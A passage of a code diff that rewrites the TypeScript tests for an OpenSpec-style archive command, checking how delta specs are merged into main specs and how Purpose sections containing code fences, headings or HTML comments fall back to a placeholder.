Requirements\n\n${block}\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); -## Purpose -Alpha purpose. + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); -## Requirements + // An identical MODIFIED block is a no-op: no churned rewrite, no + // claimed update, no "~ 1 modified" in the totals. + const updatedContent = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updatedContent).toBe(mainSpecContent); + expect(console.log).toHaveBeenCalledWith('Specs already in sync; no files changed.'); + expect(console.log).not.toHaveBeenCalledWith('Specs updated successfully.'); -### Requirement: Important Rule -Some details.`; - await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(true); + expect(process.exitCode).toBeUndefined(); + }); - // Change attempts to modify the same requirement but with trailing spaces after the name - const deltaContent = `# Alpha - Changes + it('should abort an already-synced RENAMED when a case variant of the source still exists', async () => { + // FROM missing + TO present normally means the rename was early-synced, + // but a fold-variant of FROM still in the spec means the header is a + // typo - the same near-miss guard REMOVED applies. + const changeName = 'typo-rename'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'rename-layer'); + await fs.mkdir(changeSpecDir, { recursive: true }); -## MODIFIED Requirements + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Rename Layer - Changes\n\n## RENAMED Requirements\n- FROM: \`### Requirement: cache policy\`\n- TO: \`### Requirement: Eviction policy\`\n` + ); -### Requirement: Important Rule -Updated details.`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'rename-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# rename-layer Specification\n\n## Purpose\nCache behavior.\n\n## Requirements\n\n### Requirement: Cache Policy\nThe system SHALL cache.\n\n#### Scenario: Cached\n- **WHEN** data repeats\n- **THEN** it is served from cache\n\n### Requirement: Eviction policy\nThe system SHALL evict.\n\n#### Scenario: Evicted\n- **WHEN** the cache is full\n- **THEN** old entries are dropped\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); - expect(updated).toContain('### Requirement: Important Rule'); - expect(updated).toContain('Updated details.'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('RENAMED failed for header "### Requirement: cache policy" - source not found, but "### Requirement: Cache Policy" exists') + ); + expect(process.exitCode).toBe(1); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + const untouched = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(untouched).toBe(mainSpecContent); }); - it('should apply operations in order: RENAMED → REMOVED → MODIFIED → ADDED', async () => { - const changeName = 'apply-order'; + it('should abort when a REMOVED header near-misses an existing requirement (case/whitespace typo)', async () => { + // A fold-insensitive match in the current spec means the header is a + // typo, not an early-synced removal - that case must stay a hard abort. + const changeName = 'typo-removal'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'beta'); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - // Main spec with two requirements A and B - const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'beta'); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## REMOVED Requirements\n\n### Requirement: legacy layer\n**Reason**: Replaced.\n` + ); + + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); await fs.mkdir(mainSpecDir, { recursive: true }); - const mainContent = `# beta Specification + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n### Requirement: Legacy Layer\n\n#### Scenario: Works\n- **WHEN** it runs\n- **THEN** it works\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); -## Purpose -Beta purpose. + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); -## Requirements + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('REMOVED failed for header "### Requirement: legacy layer" - not found, but "### Requirement: Legacy Layer" exists') + ); + expect(process.exitCode).toBe(1); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + const untouched = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(untouched).toBe(mainSpecContent); + }); -### Requirement: A -content A + it('should surface the skipped REMOVED as a warning in --json output', async () => { + const changeName = 'early-synced-removal-json'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); + await fs.mkdir(changeSpecDir, { recursive: true }); -### Requirement: B -content B`; - await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## REMOVED Requirements\n\n### Requirement: The system SHALL provide a legacy layer\n**Reason**: Replaced.\n` + ); - // Rename A->C, Remove B, Modify C, Add D - const deltaContent = `# Beta - Changes + const keptBlock = `### Requirement: The system SHALL provide a core abstraction layer\n\n#### Scenario: Layer is available\n- **WHEN** a consumer imports the layer\n- **THEN** the abstraction is available`; + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n${keptBlock}\n` + ); -## RENAMED Requirements -- FROM: \`### Requirement: A\` -- TO: \`### Requirement: C\` + await archiveCommand.execute(changeName, { yes: true, noValidate: true, json: true }); + + expect(process.exitCode).toBeUndefined(); + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const jsonLine = logCalls.find((entry) => entry.trimStart().startsWith('{')); + expect(jsonLine).toBeDefined(); + const parsed = JSON.parse(jsonLine!); + expect(parsed.archive.totals.removed).toBe(0); + // No file was written, so the result must not claim an update + expect(parsed.archive.specsUpdated).toBe(false); + // The silent path must not swallow the skip: agents reading JSON get + // the same signal humans get on stdout. + expect(parsed.archive.warnings).toEqual([ + expect.stringContaining('REMOVED requirement "The system SHALL provide a legacy layer" is not in the current spec'), + ]); + }); -## REMOVED Requirements -### Requirement: B + it('should merge nested delta specs into the same relative path (#1353)', async () => { + const changeName = 'nested-spec-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const nestedSpecDir = path.join(changeDir, 'specs', 'platform', 'example-capability'); + await fs.mkdir(nestedSpecDir, { recursive: true }); -## MODIFIED Requirements -### Requirement: C -updated C + const specContent = `# Nested Capability - Changes ## ADDED Requirements -### Requirement: D -content D`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + +### Requirement: Nested capability works +The system SHALL discover capabilities stored below namespace directories. + +#### Scenario: Validate nested delta +- **WHEN** the user validates the change +- **THEN** OpenSpec detects the nested capability`; + await fs.writeFile(path.join(nestedSpecDir, 'spec.md'), specContent); await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); - expect(updated).toContain('### Requirement: C'); - expect(updated).toContain('updated C'); - expect(updated).toContain('### Requirement: D'); - expect(updated).not.toContain('### Requirement: A'); - expect(updated).not.toContain('### Requirement: B'); + // Delta merged into the same nested path under the main specs directory + const mainSpecPath = path.join( + tempDir, + 'openspec', + 'specs', + 'platform', + 'example-capability', + 'spec.md' + ); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain('### Requirement: Nested capability works'); + expect(updatedContent).toContain('#### Scenario: Validate nested delta'); + + // Change directory moved to archive with the nested delta preserved + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBe(1); + const archivedDelta = path.join( + archiveDir, + archives[0], + 'specs', + 'platform', + 'example-capability', + 'spec.md' + ); + await expect(fs.access(archivedDelta)).resolves.toBeUndefined(); }); - it('should abort with error when MODIFIED/REMOVED reference non-existent requirements', async () => { - const changeName = 'validate-missing'; + it('should allow REMOVED requirements when creating new spec file (issue #403)', async () => { + const changeName = 'new-spec-with-removed'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'gamma'); + const changeSpecDir = path.join(changeDir, 'specs', 'gift-card'); await fs.mkdir(changeSpecDir, { recursive: true }); + + // Create delta spec with both ADDED and REMOVED requirements + // This simulates refactoring where old fields are removed and new ones are added + const specContent = `# Gift Card - Changes - // Main spec with no requirements - const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'gamma'); - await fs.mkdir(mainSpecDir, { recursive: true }); - const mainContent = `# gamma Specification - -## Purpose -Gamma purpose. - -## Requirements`; - await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); +## ADDED Requirements - // Delta tries to modify and remove non-existent requirement - const deltaContent = `# Gamma - Changes +### Requirement: Logo and Background Color +The system SHALL support logo and backgroundColor fields for gift cards. -## MODIFIED Requirements -### Requirement: Missing -new text +#### Scenario: Display gift card with logo +- **WHEN** a gift card is displayed +- **THEN** it shows the logo and backgroundColor ## REMOVED Requirements -### Requirement: Another Missing`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); +### Requirement: Image Field +### Requirement: Thumbnail Field`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + // Execute archive - should succeed with warning about REMOVED requirements await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // Verify warning was logged about REMOVED requirements being ignored + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Warning: gift-card - 2 REMOVED requirement(s) ignored for new spec (nothing to remove).') + ); - // Should not change the main spec and should not archive the change dir - const still = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); - expect(still).toBe(mainContent); - // Change dir should still exist since operation aborted - await expect(fs.access(changeDir)).resolves.not.toThrow(); + // The ignored removals are not reported as applied + expect(console.log).not.toHaveBeenCalledWith(expect.stringContaining('- 2 removed')); + + // Verify spec was created with only ADDED requirements + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'gift-card', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain('# gift-card Specification'); + expect(updatedContent).toContain('### Requirement: Logo and Background Color'); + expect(updatedContent).toContain('#### Scenario: Display gift card with logo'); + // REMOVED requirements should not be in the final spec + expect(updatedContent).not.toContain('### Requirement: Image Field'); + expect(updatedContent).not.toContain('### Requirement: Thumbnail Field'); + + // Verify change was archived successfully + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBeGreaterThan(0); + expect(archives.some(a => a.includes(changeName))).toBe(true); }); - it('should abort with a structural error when target spec hides requirements outside ## Requirements', async () => { - const changeName = 'hidden-requirement-target'; - const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'delta-target'); + it('should carry the delta Purpose into a new main spec (issue #1413)', async () => { + const changeName = 'new-spec-with-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'loyalty'); await fs.mkdir(changeSpecDir, { recursive: true }); - const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'delta-target'); - await fs.mkdir(mainSpecDir, { recursive: true }); - const malformedMain = `# delta-target Specification + const specContent = `## Purpose -## Purpose -Delta target purpose. +Tracks loyalty points earned and redeemed across the storefront. -## Requirements +## ADDED Requirements -### Requirement: A -The system SHALL do A. +### Requirement: Earn Points +The system SHALL award loyalty points on each completed order. -#### Scenario: A works -- **WHEN** foo -- **THEN** bar +#### Scenario: Order completes +- **WHEN** an order completes +- **THEN** points are credited to the customer +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); -## Edge Cases + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); -### Requirement: B -The system SHALL do B. + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'loyalty', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain('Tracks loyalty points earned and redeemed across the storefront.'); + expect(updatedContent).not.toContain('TBD - created by archiving change'); + expect(updatedContent).toContain('### Requirement: Earn Points'); + }); -#### Scenario: B works -- **WHEN** baz -- **THEN** qux`; - await fs.writeFile(path.join(mainSpecDir, 'spec.md'), malformedMain); + it('should keep fenced code inside a real delta Purpose (issue #1413)', async () => { + const changeName = 'new-spec-with-fenced-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'config-format'); + await fs.mkdir(changeSpecDir, { recursive: true }); - const deltaContent = `# Delta Target Changes + const specContent = `## Purpose -## MODIFIED Requirements +Normalizes config files. The canonical shape is: -### Requirement: B -The system SHALL do B differently. +\`\`\`yaml +retries: 3 +\`\`\` -#### Scenario: B changes -- **WHEN** baz changes -- **THEN** qux changes`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); +## ADDED Requirements - await archiveCommand.execute(changeName, { yes: true, noValidate: true }); +### Requirement: Normalize Config +The system SHALL normalize config files on load. - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('delta-target: target spec is structurally invalid and cannot be updated until fixed:') - ); - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('Requirement header "### Requirement: B" appears outside the main ## Requirements section.') - ); - expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); +#### Scenario: Config normalized +- **WHEN** a config file is loaded +- **THEN** it is normalized to the canonical shape +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); - const still = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); - expect(still).toBe(malformedMain); + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.some(a => a.includes(changeName))).toBe(false); + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'config-format', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain('Normalizes config files. The canonical shape is:'); + // The fenced example is part of the authored Purpose - masking fenced + // lines out of the body would silently truncate it. + expect(updatedContent).toContain('retries: 3'); + expect(updatedContent).not.toContain('TBD - created by archiving change'); }); - it('should require MODIFIED to reference the NEW header when a rename exists (error format)', async () => { - const changeName = 'rename-modify-new-header'; - const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'delta'); + it('should keep the TBD Purpose placeholder when the delta has no Purpose (issue #1413)', async () => { + const changeName = 'new-spec-without-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'referrals'); await fs.mkdir(changeSpecDir, { recursive: true }); - // Main spec with Old - const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'delta'); - await fs.mkdir(mainSpecDir, { recursive: true }); - const mainContent = `# delta Specification + const specContent = `## ADDED Requirements -## Purpose -Delta purpose. +### Requirement: Send Invite +The system SHALL send a referral invite. -## Requirements +#### Scenario: Invite sent +- **WHEN** a customer refers a friend +- **THEN** an invite email is sent +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); -### Requirement: Old -old body`; - await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - // Delta: rename Old->New, but MODIFIED references Old (should abort) - const badDelta = `# Delta - Changes + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'referrals', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + }); -## RENAMED Requirements -- FROM: \`### Requirement: Old\` -- TO: \`### Requirement: New\` + it('should keep the TBD placeholder when the only Purpose header is inside a code fence (issue #1413)', async () => { + const changeName = 'new-spec-with-fenced-header'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'payouts'); + await fs.mkdir(changeSpecDir, { recursive: true }); -## MODIFIED Requirements -### Requirement: Old -new body`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), badDelta); + const specContent = `## ADDED Requirements + +### Requirement: Send Payout +The system SHALL send a payout. A main spec looks like: + +\`\`\`markdown +## Purpose +Illustration only - not this capability's purpose. +\`\`\` + +#### Scenario: Payout sent +- **WHEN** a payout is due +- **THEN** it is sent +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const unchanged = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); - expect(unchanged).toBe(mainContent); - // Assert error message format and abort notice - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('delta validation failed') - ); - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('Aborted. No files were changed.') + + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'payouts', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` ); + expect(updatedContent).not.toContain("Illustration only - not this capability's purpose.\n## Requirements"); + }); - // Fix MODIFIED to reference New (should succeed) - const goodDelta = `# Delta - Changes + it('should keep the TBD placeholder when the delta Purpose section is empty (issue #1413)', async () => { + const changeName = 'new-spec-with-empty-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'notifications'); + await fs.mkdir(changeSpecDir, { recursive: true }); -## RENAMED Requirements -- FROM: \`### Requirement: Old\` -- TO: \`### Requirement: New\` + const specContent = `## Purpose -## MODIFIED Requirements -### Requirement: New -new body`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), goodDelta); +## ADDED Requirements + +### Requirement: Send Notification +The system SHALL send a notification. + +#### Scenario: Notification sent +- **WHEN** an event fires +- **THEN** a notification is sent +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); - expect(updated).toContain('### Requirement: New'); - expect(updated).toContain('new body'); - expect(updated).not.toContain('### Requirement: Old'); + + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'notifications', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); }); - it('should process multiple specs atomically (any failure aborts all)', async () => { - const changeName = 'multi-spec-atomic'; - const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const spec1Dir = path.join(changeDir, 'specs', 'epsilon'); - const spec2Dir = path.join(changeDir, 'specs', 'zeta'); - await fs.mkdir(spec1Dir, { recursive: true }); - await fs.mkdir(spec2Dir, { recursive: true }); + it('should fall back to the placeholder when the delta Purpose hides a requirement header (issue #1413)', async () => { + const changeName = 'new-spec-with-stray-header-in-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'widgets'); + await fs.mkdir(changeSpecDir, { recursive: true }); - // Existing main specs - const epsilonMain = path.join(tempDir, 'openspec', 'specs', 'epsilon', 'spec.md'); - await fs.mkdir(path.dirname(epsilonMain), { recursive: true }); - await fs.writeFile(epsilonMain, `# epsilon Specification + // A delta an agent can plausibly emit. Carrying this Purpose verbatim + // would put a requirement header outside ## Requirements and abort the + // archive - which succeeded before the Purpose carry-over existed. + const specContent = `## Purpose -## Purpose -Epsilon purpose. +Handles widgets. -## Requirements +### Requirement: Stray header -### Requirement: E1 -e1`); +## ADDED Requirements - const zetaMain = path.join(tempDir, 'openspec', 'specs', 'zeta', 'spec.md'); - await fs.mkdir(path.dirname(zetaMain), { recursive: true }); - await fs.writeFile(zetaMain, `# zeta Specification +### Requirement: Real Requirement +The system SHALL handle widgets. -## Purpose -Zeta purpose. +#### Scenario: Widget handled +- **WHEN** a widget arrives +- **THEN** it is handled +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); -## Requirements + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); -### Requirement: Z1 -z1`); + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'widgets', 'spec.md'); + const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + expect(updatedContent).not.toContain('### Requirement: Stray header'); + expect(updatedContent).toContain('### Requirement: Real Requirement'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Warning: widgets - delta Purpose ignored (it would leave the new spec unreadable)') + ); - // Delta: epsilon is valid modification; zeta tries to remove non-existent -> should abort both - await fs.writeFile(path.join(spec1Dir, 'spec.md'), `# Epsilon - Changes + // The archive still completed rather than aborting. + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(true); + }); -## MODIFIED Requirements -### Requirement: E1 -E1 updated`); + it('should fall back to the placeholder when the delta Purpose contains a heading (issue #1413)', async () => { + const changeName = 'new-spec-with-heading-in-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'gadgets'); + await fs.mkdir(changeSpecDir, { recursive: true }); - await fs.writeFile(path.join(spec2Dir, 'spec.md'), `# Zeta - Changes + // An `#` heading truncates the Purpose section when the spec is read back, + // leaving a spec whose own validator rejects it for having no Purpose. + const specContent = `## Purpose -## REMOVED Requirements -### Requirement: Missing`); +# Not a spec title +Some body text that is comfortably longer than the strict-mode minimum length. + +## ADDED Requirements + +### Requirement: Handle Gadget +The system SHALL handle gadgets. + +#### Scenario: Gadget handled +- **WHEN** a gadget arrives +- **THEN** it is handled +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const e1 = await fs.readFile(epsilonMain, 'utf-8'); + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'gadgets', 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + expect(updatedContent).not.toContain('# Not a spec title'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('gadgets - delta Purpose ignored') + ); + // The rebuilt spec must still satisfy the validator archive itself runs. + const report = await new Validator().validateSpecContent('gadgets', updatedContent); + expect(report.issues.filter(i => i.level === 'ERROR')).toHaveLength(0); + }); + + it('should fall back to the placeholder when the delta Purpose has an unterminated fence (issue #1413)', async () => { + const changeName = 'new-spec-with-unterminated-fence'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'mesh-config'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // The open fence masks everything after it, so the Purpose body would + // swallow the skeleton's own ## Requirements header. + const specContent = `## ADDED Requirements + +### Requirement: Normalize Mesh Config +The system SHALL normalize mesh config. + +#### Scenario: Config normalized +- **WHEN** config is loaded +- **THEN** it is normalized + +## Purpose + +Normalizes configuration for every service in the mesh. Canonical shape: + +\`\`\`yaml +retries: 3 +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'mesh-config', 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + // Exactly one Requirements section, and the requirement is still visible. + expect(updatedContent.match(/^## Requirements$/gm)).toHaveLength(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('mesh-config - delta Purpose ignored') + ); + const report = await new Validator().validateSpecContent('mesh-config', updatedContent); + expect(report.issues.filter(i => i.level === 'ERROR')).toHaveLength(0); + }); + + it('should ignore a commented-out Purpose in favor of the real one (issue #1413)', async () => { + const changeName = 'new-spec-with-commented-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'loyalty-v2'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + const specContent = `<!-- +## Purpose +Draft purpose the author commented out while rewriting the section. +--> + +## Purpose + +Manages the loyalty program end to end across the storefront and admin console. + +## ADDED Requirements + +### Requirement: Earn Points +The system SHALL award loyalty points. + +#### Scenario: Points earned +- **WHEN** an order completes +- **THEN** points are credited +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'loyalty-v2', 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain('Manages the loyalty program end to end'); + expect(updatedContent).not.toContain('Draft purpose the author commented out'); + expect(updatedContent).not.toContain('-->'); + }); + + it.each([ + [ + 'a section header hidden in a comment', + 'requirements-hidden-in-comment', + 'hidden-reqs', + `## Purpose +Tracks widgets and keeps their state consistent across restarts. +<!-- TODO(author): promote the list below to +## Requirements +so the sections line up. --> +Widgets are the core unit of work. +`, + ], + [ + 'a requirement header hidden in a comment', + 'requirement-header-in-comment', + 'hidden-req-header', + `## Purpose +Tracks widgets and keeps their state consistent across restarts. +<!-- +## Requirements +### Requirement: Draft idea we did not ship +--> +`, + ], + [ + 'an unterminated comment', + 'unterminated-comment', + 'dangling-comment', + `## Purpose +Tracks widgets and keeps their state consistent across restarts. +<!-- TODO: expand once the widget team confirms the retention policy. +`, + ], + [ + 'a comment closed with the --!> terminator', + 'bang-terminated-comment', + 'bang-comment', + `## Purpose +Tracks widgets and keeps their state consistent across restarts. +<!-- TODO(author): promote the list below to +## Requirements +so the sections line up. --!> +`, + ], + ])( + 'should fall back to the placeholder when the delta Purpose has %s (issue #1413)', + async (_label, changeName, specFolder, purposeBlock) => { + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', specFolder); + await fs.mkdir(changeSpecDir, { recursive: true }); + + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `${purposeBlock} +## ADDED Requirements + +### Requirement: Widget Tracking +The system SHALL track widgets. + +#### Scenario: Widget tracked +- **WHEN** a widget is created +- **THEN** it is tracked +` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', specFolder, 'spec.md'), + 'utf-8' + ); + // Markdown hidden in a comment is skipped by the section scan but still + // lands in the file, where it can hide the headers the parsers rely on + // and blank the document out in a markdown renderer. + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + expect(updatedContent).not.toContain('<!--'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining(`${specFolder} - delta Purpose ignored`) + ); + expect(updatedContent.match(/^## Requirements$/gm)).toHaveLength(1); + const report = await new Validator().validateSpecContent(specFolder, updatedContent); + expect(report.issues.filter(i => i.level === 'ERROR')).toHaveLength(0); + } + ); + + it.each([ + ['closed', '-->'], + ['unterminated', ''], + ])( + 'should not read a Purpose out of a %s comment that opens above the header (issue #1413)', + async (label, terminator) => { + const changeName = `commented-out-purpose-${label}`; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', `co-${label}`); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // An unterminated comment runs to end of file, so the header below it is + // commented out just as surely as it is inside a closed comment. + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `<!-- Draft the author commented out + +## Purpose + +Old abandoned purpose text that must not become the capability's Purpose. +${terminator} + +## ADDED Requirements + +### Requirement: Route Events +The system SHALL route events. + +#### Scenario: Event routed +- **WHEN** an event arrives +- **THEN** it is routed +` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', `co-${label}`, 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + expect(updatedContent).not.toContain('Old abandoned purpose text'); + const report = await new Validator().validateSpecContent(`co-${label}`, updatedContent); + expect(report.issues.filter(i => i.level === 'ERROR')).toHaveLength(0); + } + ); + + it('should carry a Purpose containing arrow notation (issue #1413)', async () => { + const changeName = 'new-spec-with-arrow-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'pipeline'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // `-->` is not a comment opener; it renders as text and hides nothing, so + // it must not be mistaken for the HTML-comment hazard. + const specContent = `## Purpose + +Routes events through the pipeline: ingest --> transform --> sink, retrying each hop. + +## ADDED Requirements + +### Requirement: Route Events +The system SHALL route events through the pipeline. + +#### Scenario: Event routed +- **WHEN** an event arrives +- **THEN** it is routed +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'pipeline', 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain('ingest --> transform --> sink'); + expect(updatedContent).not.toContain('TBD - created by archiving change'); + }); + + it('should keep the TBD placeholder when the delta Purpose is only a code fence (issue #1413)', async () => { + const changeName = 'new-spec-with-fenced-only-purpose'; + const 